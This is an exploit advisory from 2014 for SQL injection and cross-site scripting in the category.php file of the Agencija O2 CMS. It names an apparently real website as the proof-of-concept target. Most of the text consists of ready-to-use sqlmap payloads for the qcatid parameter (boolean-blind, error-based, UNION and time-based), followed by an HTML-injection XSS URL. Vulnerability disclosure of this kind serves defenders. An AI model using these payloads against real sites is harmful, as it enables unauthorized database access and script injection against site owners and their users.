# SQL Injection & XSS on CMS Agencija O2 # Risk: High # CWE number: CWE-89,CWE-79 # Date: 22/08/2014 # Vendor: Agencija O2 # Author: Felipe " Renzi " Gabriel # Contact: renzi@linuxmail.org # Tested on: Windows 8 pro & Linux Mint # Vulnerable File: category.php # Exploits: http://host/cms/category.php?qcatid=[SQLI] & [XSS] # PoC: http://www.meXgaline.rs/cms/category.php?qcatid=[SQLI]& [XSS] --- "SQLI using SQLMAP."--- Place: GET Parameter: qcatid Type: boolean-based blind Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE) Payload: qcatid=99999 RLIKE (SELECT (CASE WHEN (3232=3232) THEN 99999 ELSE 0x28 END)) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: qcatid=99999 AND (SELECT 9170 FROM(SELECT COUNT(*),CONCAT(0x7174666171,(SELECT (CASE WHEN (9170=9170) THEN 1 ELSE 0 END)),0x7167716471,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) Type: UNION query Title: MySQL UNION query (NULL) - 10 columns Payload: qcatid=99999 UNION ALL SELECT CONCAT(0x7174666171,0x576b5a63576663766442,0x7167716471),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL# Type: AND/OR time-based blind Title: MySQL < 5.0.12 AND time-based blind (heavy query) Payload: qcatid=99999 AND 4293=BENCHMARK(5000000,MD5(0x46795155)) --- " XSS using HTML injection."--- http://www.meXgaline.rs/cms/category.php?qcatid="><marquee>XSS</marquee> # Thank's